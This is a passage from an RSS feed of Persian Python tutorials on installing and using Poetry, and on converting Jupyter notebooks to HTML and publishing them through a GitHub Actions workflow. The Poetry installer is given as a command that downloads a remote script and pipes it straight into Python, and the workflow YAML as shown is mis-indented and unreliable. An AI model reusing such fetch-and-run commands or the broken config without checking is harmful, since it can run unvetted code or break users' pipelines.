                <description>از ابزار Poetry برای مدیریت وابستگی (dependency) و بسته بندی (packaging) در پایتون استقاده میشه؛ کافیه بسته هایی رو که پروژه مون بهش وابسته ست رو تعیین کنیم تا برامون مدیریتشون (نصب/بروز رسانی) کنه و در نهایت با استفاده از محیط مجازی (virtual environment) پروژه (اسکریپت) مورد نظر رو اجرا کنه.پروژه نمونه ای که قراره پیاده کنیم رو میتونین از مخزن اصلی گیت هاب ایرانی پای بردارید.مشاهده پروژه نمونه poetry_demo (شامل تنظیمات poetry و اسکریپت نمونه برای تست)مشاهده پروژه (شامل همه کدهای نوشته شده و فایلهای راهنما)الزامات سیستمدر حال حاضر ابزار Poetry به پایتون 2.7 یا 3.5 به بالا نیاز داره و برای پلتفرم های پر استقاده (Windows، Linux و OSX) قابل استفاده ست.نصب Poetryنصب روی osx و linux (یا با استفاده از bash تو windows)curl -sSL https://raw.githubusercontent.com/python-poetry/poetry/master/get-poetry.py | python -نصب روی windows با استفاده از powershell(Invoke-WebRequest -Uri https://raw.githubusercontent.com/python-poetry/poetry/master/get-poetry.py -UseBasicParsing).Content | python -اسکریپت get-poetry.py که در دستورات بالا استفاده شده، تو نسخه 1.2 با install-poetry.py جایگزین میشه. از Poetry 1.1.7 به بعد، می تونید از این اسکریپت همینطور که توضیح داده شد استفاده کنید.در نهایت با استفاده از دستور زیر میتونیم بررسی کنیم که Poetry درست نصب شده یا نه (ممکنه نصب شده باشه ولی مسیرش (path) به متغییر های محیطی (environment variables) اضافه نشده باشه).poetry --versionبه جز موارد گفته شده، امکان نصب Poetry از طریق سایر مدیر بسته ها مثل pip هم امکان پذیره (ولی پیشنهاد نمیشه). برای مطالعه بیشتر در مورد شیوه های مختلف نصب و مراحلشون میتونید از مرجع اصلی استفاده کنید.استفاده اولیهبرای معرفی کاربردهای اولیه، کتابخانه pendulum رو نصب می کنیم.راه اندازی پروژه (ساخت پروژه جدید)اول پروژه جدید با اسم poetry_demo میسازیم:poetry new poetry_demoبا این کار پوشه poetry_demo با محتوای زیر ساخته میشه:poetry_demo
├── pyproject.toml
├── README.rst
├── poetry_demo
│ └── __init__.py
└── tests
    ├── __init__.py
    └── test_poetry_demo.pyچون فعلا قصد تست نوشتن برای پروژه مون نداریم، میتونیم مسیر tests/ و محتویاتشو حذف کنیم. به فایل README.rst هم نیازی نداریم و حذفش میکنیم که در این صورت ساختار پروژه به صورت زیر میشه:poetry_demo
├── pyproject.toml
└── poetry_demo
    └── __init__.pyفایلی که بیشتر از بقیه برامون اهمیت داره، pyproject.toml هستش. ابزار Poetry با استفاده از این فایل پروژه و بسته هاش رو مدیریت می کنه. محتویات این فایل به صورت زیر هستش:[tool.poetry]
name = &amp;quotpoetry_demo&amp;quot
version = &amp;quot0.1.0&amp;quot
description = &amp;quot&amp;quot
authors = [&amp;quotiranipy &lt;info@iranipy.ir&gt;&amp;quot]

[tool.poetry.dependencies]
python = &amp;quot*&amp;quot

[tool.poetry.dev-dependencies]
pytest = &amp;quot^3.4&amp;quot

[build-system]
requires = [&amp;quotpoetry-core&gt;=1.0.0&amp;quot]
build-backend = &amp;quotpoetry.core.masonry.api&amp;quotراه اندازی پروژه (در صورتی که پروژه از قبل موجود باشه)به جای ساخت پروژه جدید، از Poetry برای ایجاد فایل pyproject.toml مناسب پروژه مون به صورت تعاملی، میشه استفاده کرد. دستورش به این صورته: (دستور زیر باید تو دایرکتوری اصلی (root) پروژه اجرا بشه)poetry initتعیین وابستگی هااگر بخوایم وابستگی هایی رو به پروژه اضافه کنیم، دو راه وجود داره. اولین راه اینه که می تونیم تو قسمت tool.poetry.dependencies  تو فایل pyproject.toml بنویسمشون:[tool.poetry.dependencies]
python = &amp;quot*&amp;quot
pendulum = &amp;quot^1.4&amp;quotفقط کافیه اسم و نسخه مورد نظر پکیج نوشته بشه. Poetry از این اطلاعات برای جستجوی مجموعه مناسب فایل ها در مخازن (repositories) که تو قسمت tool.poetry.repositories تعیین شده (به طور پیش فرض PyPI)، استفاده می کنه.نسخه ای که به pendulum نسبت دادیم شامل هر نسخه بزرگتر یا مساوی 1.4.0 میشه. برای مطالعه بیشتر در مورد الگویی که تو این مثال برای تعیین نسخه استفاده شده، میتونید از مرجع اصلی استفاده کنید. به این الگو version constraints گفته میشه.برای اعمال تغییرات و نصب وابستگی ها کافیه دستور زیر رو اجرا کنیم:poetry installراه دوم استفاده از دستور add به جای تغییر دستی فایل pyproject.toml هستش:poetry add pendulumبا این دستور، Poetry به طور خودکار نسخه مناسب رو پیدا می کنه و بسته و وابستگی های فرعیش رو تو محیط مجازی ساخته شده برای این پروژه نصب می کنه و به فایل pyproject.toml هم بسته رو اضافه میکنه (همون کارایی که دستی انجام دادیم رو خودش انجام میده).بعد از اجرای دستور poetry install یا poetry add برای اولین بار، فایلی به اسم poetry.lock ساخته میشه. تو این فایل تمام پکیج های مورد نیاز پروژه به همراه نسخه دقیقی که دانلود شده، نوشته میشه. کاربرد این فایل اینه که وابستگی های پروژه رو، رو پکیج های دانلود شده اصطلاحا قفل (lock) میکنه.فایل poetry.lock باعث می شه هر کسی که پروژه رو راه اندازی می کنه، از نسخه های مشابه وابستگی هایی که شما استفاده می کنید، استفاده کنه. پس اگر از کنترل نسخه ای (version control) مثل git استفاده میکنید، پیشنهاد میشه این فایل رو هم کامیت (commit) کنید.بعد از اعمال این تغییرات محتوای فایل pyproject.toml به صورت زیر میشه:[tool.poetry]
name = &amp;quotpoetry_demo&amp;quot
version = &amp;quot0.1.0&amp;quot
description = &amp;quot&amp;quot
authors = [&amp;quotiranipy &lt;info@iranipy.ir&gt;&amp;quot]

[tool.poetry.dependencies]
python = &amp;quot^3.8&amp;quot
pendulum = &amp;quot^2.1.2&amp;quot

[tool.poetry.dev-dependencies] 
pytest = &amp;quot^3.4&amp;quot

[build-system]
requires = [&amp;quotpoetry-core&gt;=1.0.0&amp;quot]
build-backend = &amp;quotpoetry.core.masonry.api&amp;quotچون فعلا قصد تست نوشتن برای پروژه مون نداریم، به ماژول pytest نیاز نداریم. دو روش برای حذف کردنش وجود داره:فایل pyproject.toml رو دستی تغییر بدیم و بعد از ذخیره تغییرات، دستور poetry install رو اجرا کنیم که در نهایت محتوای فایل pyproject.toml اینجوری میشه:[tool.poetry]
name = &amp;quotpoetry_demo&amp;quot
version = &amp;quot0.1.0&amp;quot
description = &amp;quot&amp;quot
authors = [&amp;quotiranipy &lt;info@iranipy.ir&gt;&amp;quot]

[tool.poetry.dependencies]
python = &amp;quot^3.8&amp;quot
pendulum = &amp;quot^2.1.2&amp;quot

[build-system]
requires = [&amp;quotpoetry-core&gt;=1.0.0&amp;quot]
build-backend = &amp;quotpoetry.core.masonry.api&amp;quotروش دوم استفاده از دستور poetry remove هستش که علاوه بر حذف بسته مورد نظر از محیط مجازی ساخته شده برای این پروژه، خودش فایل pyproject.toml رو هم تغییر میده:poetry remove pytestایجاد اسکریپت اصلیاسکریپت مورد نظر رو با اسم main.py و تو پکیج poetry_demo/ با محتوای زیر می سازیم:import pendulum

def main():
    now = pendulum.now(&amp;quotEurope/Paris&amp;quot)
    now.in_timezone(&amp;quotAmerica/Toronto&amp;quot)
    now.to_iso8601_string()
    print(now)

if __name__ == &#039;__main__&#039;:
    main()محتوای این فایل اسکریپت ساده ای هستش که نمونه کدی از کتابخونه pendulum رو اجرا می کنه.بعد از ساخت اسکریپت main.py، ساختار پروژه اینجوری میشه:poetry_demo 
├── pyproject.toml 
├── poetry.lock
└── poetry_demo     
   ├── __init__.py
   └── main.pyاجرای پروژه (اسکریپت)برای اجرای اسکریپت main.py کافیه دستور زیر رو اجرا کنیم:poetry run python poetry_demo/main.pyدستور بالا اسکریپت main.py که تو پکیج poetry_demo/ هستش رو تو محیط مجازی ساخته شده برای این پروژه اجرا می کنه.قبل استفاده از دستور poetry run برای اطمینان از اینکه تغییرات فایل pyproject.toml اعمال شده، دستور poetry install رو اجرا کنید.محیط مجازی (virtual environment)ساده ترین راه برای فعال کردن محیط مجازی ساخت shell جدید با استفاده از دستور زیر هستش:poetry shellبرای غیرفعال کردن محیط مجازی و خروج از این shell جدید دستور زیر رو اجرا می کنیم:exitبرای غیرفعال کردن محیط مجازی بدون خروج از shell دستور زیر رو اجرا می کنیم:deactivateبه این نکته هم توجه کنید که وقتی از دستور poetry run استفاده می کنیم، Poetry اسکریپت (پروژه) رو تو محیط مجازی ساخته شده برای اون پروژه اجرا می کنه. در نتیجه در اکثر اوقات به فعال کردن محیط مجازی به صورت دستی نیازی نیست.تو این پست دیدیم که چجوری با استفاده از ابزار Poetry پروژه مون رو مدیریت کنیم. کلی کارمون رو راحت می کنه، مثل استفاده از محیط مجازی (virtual environment) که در حالت عادی برای خیلیامون راحت نیست.امیدواریم از این پست استفاده کافی رو برده باشید. اگه شما هم مثل ما از خوندن مطالب پایتونی لذت میبرید، خوشحال میشیم ما رو تو شبکه های اجتماعی دنبال و در صورت داشتن انتقاد و پیشنهاد ما رو ازش مطلع کنید. لایک هم یادتون نره :)حمایت از مابا دنبال کردن ما درgithubtelegraminstagramtwitterیا کمک مالی به مبلغ دلخواه از طریق درگاه آیدی پی میتونید از ما حمایت کنید.وب سایت (به زودی): iranipy.ir</description>
                <category>iranipy</category>
                <author>iranipy</author>
                <pubDate>Thu, 07 Oct 2021 12:07:45 +0330</pubDate>
            </item>
                    <item>
                <title>تبدیل فایل های IPYNB به HTML و استقرار خودکار در github-pages (بخش دوم)</title>
                <link>https://virgool.io/iranipy/%D8%AA%D8%A8%D8%AF%DB%8C%D9%84-%D9%81%D8%A7%DB%8C%D9%84-%D9%87%D8%A7%DB%8C-ipynb-%D8%A8%D9%87-html-%D9%88-%D8%A7%D8%B3%D8%AA%D9%82%D8%B1%D8%A7%D8%B1-%D8%AE%D9%88%D8%AF%DA%A9%D8%A7%D8%B1-%D8%AF%D8%B1-github-pages-%D8%A8%D8%AE%D8%B4-%D8%AF%D9%88%D9%85-qtuvuyq1pmq4</link>
                <description>به بخش دوم مقاله خوش اومدید. تو این بخش قراره ببینیم که چطوری میشه با استفاده از گیت هاب اکشن از اسکریپتی که تو بخش اول این مقاله نوشتیم به صورت خودکار استفاده کنیم.نحوه عملکرد این اکشن به این شکله که شما هربار تغییراتی رو روی مخزن (repository) موردنظر پوش میکنید، چک میکنه که آیا فایل های با فرمت ipynb تغییر کردند یا خیر. اگر تغییری در اونا صورت نگرفته باشه که اتفاقی نمیوفته ولی اگه تغییر کرده باشن اسکریپتی که تو بخش اول نوشتیم رو اجرا میکنه. یعنی فایل های نوت بوک رو به فایل های HTML تبدیل میکنه و اونا رو به دایرکتوری تعیین شده برای github pages منتقل میکنه.سرویس github actions چیه؟هدف این سرویس اتوماتیک کردن برخی فرایندهاست، مثل تست، استقرار (deploy) و ...؛ گیت هاب اکشن رویداد محور (event-driven) هستش، یعنی زمانی که رویداد خاصی مثل پوش اتفاق بیوفته یک سری کارهایی که تعیین کردیم رو انجام میده. اگه دوست دارید بیشتر با این سرویس آشنا بشید میتونید به داکیومنت اصلی گیت هاب اکشن مراجعه کنید.نحوه کار github action و استقرار فایل ها در github pagesاکشنی که قراره بنویسیم رو میتونین از مخزن اصلی گیت هاب ایرانی پای بردارید.مشاهده اکشنمشاهده پروژه (شامل همه کدهای نوشته شده و فایلهای راهنما)جریان کار (workflow)برای استفاده از این ویژگی باید از یک سری قوانین پیروی کنیم. یکی از این قوانین قرار دادن فایل اکشن تو دایرکتوری ای هست که خود گیت هاب گفته. اول از همه لازمه که یک دابرکتوری به اسم github. تو مخزنمون ایجاد کنیم. حالا تو این دایرکتوری یک دایرکتوری دیگه به اسم workflows درست میکنیم. حالا تو این دایرکتوری یک فایل به اسم ipynb_docs_renderer.yml میسازیم. اسم فایل دلخواهه و قراره جلوتر ازش استفاده کنیم ولی پسوندش باید حتما yml باشه.پس ساختار مخزن (repository) اینجوری شد:./repository/
│
├── .github/
     ├── workflows/
         ├── ipynb_docs_renderer.ymlاکشن (action)name: ipynb documents renderer
on:
  push:
    paths:
       - &#039;**.ipynb&#039;
jobs:
  build:
    runs-on: ubuntu-latest
    strategy:
      matrix:
        python-version: [3.8]
  steps:
     - uses: actions/checkout@v2
     - name: Set up Python ${{ matrix.python-version }}
       uses: actions/setup-python@v2
         with:
           python-version: ${{ matrix.python-version }}
        - name: install dependencies
        run: |
          python -m pip install --upgrade pip
          python ipynb_docs_renderer.py install-dependencies
       - name: convert ipynb documents to html
       run: |
          python ipynb_docs_renderer.py render    
      - name: commit and push changes
       run: |
         python ipynb_docs_renderer.py commit-pushاین محتوای فایل yml هستش که تو مرحله قبل ساختیم. خب بریم ببینیم هر قسمتش چه کاری انجام میده. nameکاملا اختیاریه. اسمیه که تو تب actions مخزن تو گیت هاب نشون میده.onرویدادی که میخوایم بعد از اتفاق افتادنش job اجرا بشه رو اینجا مینویسیم. اینجا ما نوشتم push پس سر هر بار پوش شدن job اجرا میشه. ولی یک شرط دیگه هم اضافه کردیم: paths. اینجا مشخص میکنیم که اگه کدوم دایرکتوری ها یا فایل ها تغییر کردن job رو اجرا کنه. اینجا نوشتیم ipynb.** که یعنی تو هر دایرکتوری و ساب دارکتوری ای فایلی با فرمت ipynb تغییر کرد job رو اجرا کن.jobsتمام کارایی که قراره با هر بار اجرا شدن این اکشن انجام بشه رو اینجا مینویسیم.buildاطلاعات سیستم عامل و نسخه پایتونی که میخوایم برای این job استفاده کنیم رو اینجا مینویسیم.runs-on اینجا مشخض میکنیم که از چه سیستم عاملی و چه نسخه ای از اون سیستم عامل میخوایم استفاده کنیم. ما از ubuntu-latest استفاده کردیم، یعنی آخرین نسخه سیستم عامل ابونتو. امکان انتخاب چند تا سیستم عامل هم وجود داره.strategyتو این بخش نسخه پایتونی که میخوایم استفاده کنیم رو مشخض کردیم. میتونید برای هر job چند تا نسخه مختلف پایتون هم در نظر بگیرید.stepsتمامی دستوراتی که قراره اجرا بشن رو اینجا مینویسیم. هر آیتمی که اینجا بنویسیم تو یک shell جداگونه اجرا میکنه.uses: actions/checkout@v2 اینجا گفتیم که از نسخه شماره 2 اکشن ها استفاده کن. این اکشن با دانلود کردن مخزن (repository) موردنظر، اجازه میده که کارای مختلف رو کدهای موجود تو اون مخزن (repository) انجام بدیم. همیشه از همین نسخه باید استفاده بشه (طبق اسناد موجود در سایت گیت هاب).name: Set up Python ${{ matrix.python-version }}  اسم step ای که میخوایم اجرا کنیم رو اینجوری مشخص میکنیم.  {{ matrix.python-version }} معادل نسخه پایتونی هست که تو matrix مشخص کردیم. uses: actions/setup-python@v2این اکشن یک محیط پایتون برامون فراهم میکنه.with: python-version: ${{ matrix.python-version }} مقدار متغیر python-version رو معادل نسخه پایتون استفاده شده قرار میده.name: install dependenciesاسم step بعدی رو تعیین میکنه.runدستوری که میخوایم تو shell اجرا بشه رو اینجا مینویسیم. هر دستوری میتونه باشه فقط باید تو سیستم عامل انتخابی معتبر باشه.اینجا اول pip رو نصب و آپگرید میکنیم. بعد هر بار قستمی از فایل نوشته شده در بخش اول این مقاله رو اجرا میکنیم.تو این پست ایرانی پای دیدید که چجوری یک workflow تو گیت هاب راه بندازیم و با استفاده از اون کارای تکراری و خسته کننده مون رو به صورت خودکار انجام بدیم، تا هم تو وقت صرفه جویی کرده باشیم هم احتمال اشتباه کردن رو پایین آورده باشیم. با استفاده از این سرویسهای کاربردی گیت هاب کارای خیلی زیادی میشه انجام داد. خوبه که بلد باشید، حتما به کارتون میاد. امیدواریم از این پست دو بخشی استفاده کافی رو برده باشید. اگه شما هم مثل ما از خوندن مطالب پایتونی لذت میبرید، خوشحال میشیم ما رو تو شبکه های اجتماعی دنبال و در صورت داشتن انتقاد و پیشنهاد ما رو ازش مطلع کنید. لایک هم یادتون نره :)اگه با فعال سازی و نحوه استفاده از github pages مشکلی دارید، توصیه میشه به این پست اینستاگرام،  ایرانی پای سر بزنید.حمایت از مابا دنبال کردن ما درgithubtelegraminstagramtwitterیا کمک مالی به مبلغ دلخواه از طریق درگاه آیدی پی میتونید از ما حمایت کنید.وب سایت (به زودی): iranipy.ir</description>
                <category>iranipy</category>
                <author>iranipy</author>
                <pubDate>Mon, 27 Sep 2021 12:26:40 +0330</pubDate>
            </item>
                    <item>
                <title>تبدیل فایل های IPYNB به HTML و استقرار خودکار در github-pages (بخش اول)</title>
                <link>https://virgool.io/iranipy/%D8%AA%D8%A8%D8%AF%DB%8C%D9%84-%D9%81%D8%A7%DB%8C%D9%84-%D9%87%D8%A7%DB%8C-ipynb-%D8%A8%D9%87-html-%D9%88-%D8%A7%D8%B3%D8%AA%D9%82%D8%B1%D8%A7%D8%B1-%D8%AE%D9%88%D8%AF%DA%A9%D8%A7%D8%B1-%D8%AF%D8%B1-github-pages-%D8%A8%D8%AE%D8%B4-%D8%A7%D9%88%D9%84-hqhi55vtiyl3</link>
                <description>تو این پست قراره با نوشتن اسکریپت پایتون فایل های با فرمت ipynb رو به HTML تبدیل کنیم و به صورت خودکار با استفاده از github actions تو github pages منتشرش کنیم.فایل های با فرمت ipynbفایل IPYNB یک سند نوت بوکه که توسط jupyter notebook ایجاد شده، یک محیط محاسباتی تعاملی که به ما تو دستکاری و تجزیه و تحلیل داده ها با استفاده از پایتون کمک می کنه.اکشن های githubبه کمک ویژگی  github actions خیلی از کارا رو مثل تست کد یا دیپلوی کردن کد جدید یا تو مورد ما، تبدیل فایل ها و انتقالشون به github pages رو به صورت خودکار میشه انجام داد.اسکریپتی که قراره بنویسیم رو میتونین از مخزن اصلی گیت هاب ایرانی پای بردارید. مشاهده اسکریپتمشاهده پروژه (شامل همه کدهای نوشته شده و فایلهای راهنما)ایمپورت ماژول های استفاده شدهimport os
import pathlib
import shutil
import sys
from concurrent.futures import ThreadPoolExecutorتو این قسمت ماژول های مورد نیاز رو ایمپورت میکنیم. همشون از لایبرری های استاندارد و built-in پایتون هستن، پس نیازی به نصب چیزی نیست.تعریف متغیر های گلوبال_DOCS_PATH = &#039;docs&#039;
_PROJECTS_PATH = &#039;projects&#039;
_IPYNB_GLOB = &#039;**/*.ipynb&#039;
_GIT_MAIN_BRANCH_NAME = &#039;main&#039;
_GIT_EMAIL = &#039;iranipy@users.noreply.github.com&#039;
_GIT_USERNAME = &#039;iranipy&#039;
_GIT_COMMIT_MESSAGE = &#039;new rendered docs added by ipynb_docs_renderer action&#039;
_CONVERTED_FILE_FORMAT = &#039;html&#039;
_CONVERT_COMMAND = f&#039;jupyter nbconvert --to {_CONVERTED_FILE_FORMAT}&#039;
_DEPENDENCIES = [&#039;jupyterlab&#039;, &#039;nbconvert&#039;]اینا متغیر هایی هستن که ادامه کار بهشون نیاز داریم و مقدارشون تغییری نمیکنه. مقادیر رو به خواست خودتون تغییر بدین، مثلا مقدار GIT_EMAIL_ رو به ایمیل حساب خودتون تغییر بدین. دلیل استفاده از حروف بزرگ و آندرلاین قبل اسمشون اینه که میخوایم نشون بدیم ثابت (constant) هستن و خصوصی (private) اما از اونجایی که تو پایتون این ویژگی ها به صورت داخلی و تو سطح مفسر (interpreter) وجود نداره، این موضوع فقط به صورت قرار دادیه؛ یعنی شما هرجای کد که بخواید میتونید مقدارشون رو عوض یا تو هر ماژولی ایمپورتشون کنین. ولی خب نکنین :)ماژول های جدیدی که تو این بخش به عنوان وابستگی (dependency) دیده میشه nbconvert و jupyterlab هستن که نیازی به نصبشون نیست و در ادامه بهشون میرسیم.نصب پیش نیاز ها روی ماشینdef _install_dependencies():
    with ThreadPoolExecutor() as executer:
        executer.map(os.system, [f&#039;pip install {d}&#039; for d in _DEPENDENCIES])وظیفه این تابع نصب پیش نیاز های برنامه (اعضای لیست DEPENDENCIES_) تو محیط اجرای برنامه ست.از کلاس ThreadPoolExecutor استفاده میکنیم. متغیر executer یک instance از ThreadPoolExecutor حساب میشه. (آشنایی بیشتر با context manager)تو خط سوم از یکی از متد های ThreadPoolExecutor به اسم map استفاده کردیم. عملکرد این متد دقیقا مثل تابع map خود پایتونه. یعنی یک تابع و یک iterable به عنوان پارامتر میگیره و اون تابع رو روی تک تک اعضای اون iterable اجرا میکنه ولی فرقش اینه که هر عضو اون iterable رو تو یک رشته (Thread) جداگونه اجرا می کنه. تابعی که اینجا استفاده شده system از کتابخونه os هستش. این تابع دستوری که به شکل رشته (string) به عنوان یک پارامتر بهش میدید رو تو یک subshell اجرا میکنه.تبدیل ipynb به HTML و انتقال به GitHub Pagesdef _render_ipynb(ipynb: list):
    directory, file = os.path.split(ipynb)
    rendered_file = f&#039;{os.path.splitext(file)[0]}.{_CONVERTED_FILE_FORMAT}&#039;
    rendered_file_path = os.path.join(directory, rendered_file)
    os.system&#40;f&#039;{_CONVERT_COMMAND} {ipynb.absolute(&#41;}&#039;)
    shutil.move(rendered_file_path, os.path.join(_DOCS_PATH, rendered_file))

def _run_rendering():
    IPYNB_DOCS = list(pathlib.Path(_PROJECTS_PATH).glob(_IPYNB_GLOB))
    with ThreadPoolExecutor() as executer:
        executer.map(_render_ipynb, IPYNB_DOCS)تو تابع render_ipynb_ یک ابجکت pathlib.Path به عنوان پارامتر دریافت میشه و عملیات تبدیل فرمت و انتقالش به دایرکتوری مورد نظر (معادل با مقدار DOCS_PATH_) انجام میشه.تو خط اول با استفاده از os.path.split مسیر فایل و اسم فایل رو به ترتیب به متغیرهای directory و file  نسبت دادیم.تو خط دوم اسم فایل نهایی رو مشخص کردیم. این اسم متشکل از اسم فایلی که در حال حاضر روش کار میکنیم و پسوند html (معادل با مقدار CONVERTED_FILE_FORMAT_ ) هستش.تو خط سوم مسیر نهایی فایل HTML مورد نظر رو با os.path.join میسازیم. دلیل استفاده از این متد به جای هارد کد کردن اینه که این متد با توجه به سیستم عامل از separator مناسب استفاده میکنه و از ارور جلوگیری میکنه.تو خط چهارم از تابع system استفاده شده که تو بخش های قبلی عملکردش توضیح داده شد، که اینجا داره دستور معادل با مقدار CONVERT_COMMAND_ رو با یک پارامتر با مقدار حاصل از فراخوانی ipynb.absolute اجرا میکنه. این متد مسیر مطلق فایل رو بر میگردونه.خط آخر فایل تولید شده خط بالایی رو از مسیر فعلیش برمیداره و به دایرکتوری مقصد (که اینجا docs در نظر گرفته شده) منتقل میکنه. این متد بدون نوشتن اسم فایل هم کار میکنه، ینی اگه فقط اسم دایرکتوری رو مینوشیتم هم درست بود ولی نکته منفی ای که ننوشتن اسم فایل مقصد داره اینه که اگه فایلی با اسم مشابه فایل مبدا وجود داشته باشه به جای بازنویسی کردنش ارور میده.تابع run_rendering_ دوتا وظیفه داره. اول درست کردن لیستی از تمام فایل های با فرمت ipynb توی دایرکتوری مورد نظر (که اینجا projects در نظر گرفته شده) و تبدیل اونا به pathlib.Path و بعد اجرای تابع render_ipynb_ روی اعضای لیست به صورت همزمان.پوش کردن تغییرات صورت گرفته روی مخزن (repository) مورد نظرdef _commit_push():
    commands = [
        f&#039;git config --global user.email &amp;quot{_GIT_EMAIL}&amp;quot &amp;&amp; git config --global user.name 
&amp;quot{_GIT_USERNAME}&amp;quot&#039;,
        &#039;git add .&#039;,    f&#039;git commit -m &amp;quot{_GIT_COMMIT_MESSAGE}&amp;quot&#039;,
        f&#039;git fetch origin {_GIT_MAIN_BRANCH_NAME}&#039;,
        f&#039;git push origin {_GIT_MAIN_BRANCH_NAME}&#039;,
     ]
    list(map(os.system, commands))تو این تابع تمام دستوراتی که برای کامیت و پوش کردن لازم هست رو یک لیست قرار دادیم و با استفاده از map تابع os.system روی اعضای لیست اجرا کردیم. دلیل استفاده از تابع list این هستش که اگه این کارو انجام ندیم تنها اتفاقی که میوفته اینه که تابع map یک map object بهمون میده و هیچکدوم از دستورات رو اجرا نمیکنه. به عبارت دیگه برای اجرا این دستورات باید روی map object، یک iterate بزنیم (به هرشکلی، مهم نیست).رابط خط فرمان (CLI)def main():
    task = {
        &#039;install-dependencies&#039;: _install_dependencies,
        &#039;render&#039;: _run_rendering,
        &#039;commit-push&#039;: _commit_push,
    }[sys.argv[1]]
    task()تو این تابع یک دیکشنری داریم که تو این دیکشنری به هر کدوم از تابع هایی که بالاتر تعریف کردیم یک کلیدواژه اختصاص داده شده. هر کدوم از این کلیدواژه ها که موقع اجرای ماژول به عنوان آرگومان خط فرمان وارد بشه، برنامه همون تابع رو اجرا میکنه؛ در واقع روشیه برای شبیه سازی عبارت swicth-case موجود تو سایر زبان های برنامه نویسی. (sys.argv)به عنوان مثال، اینجوری میتونیم تابع run_rendering_ رو اجرا کنیم:python ipynb_docs_renderer.py renderاجرای تابع اصلیif __name__ == &#039;__main__&#039;:
    main()توضیحات بیشتر در مورد __main__پایان بخش اول ...امیدواریم از اولین بخش این پست استفاده کافی رو برده باشید. اگه شما هم مثل ما از خوندن مطالب پایتونی لذت میبرید، خوشحال میشیم ما رو تو شبکه های اجتماعی دنبال و در صورت داشتن انتقاد و پیشنهاد ما رو ازش مطلع کنید. لایک هم یادتون نره :)برای خوندن بخش دوم کلیک کنید.حمایت از مابا دنبال کردن ما درgithubtelegraminstagram twitter یا کمک مالی به مبلغ دلخواه از طریق درگاه آیدی پی میتونید از ما حمایت کنید.وب سایت (به زودی): iranipy.ir</description>
                <category>iranipy</category>
                <author>iranipy</author>
                <pubDate>Sun, 26 Sep 2021 16:03:06 +0330</pubDate>
            </item>
            </channel>
</rss>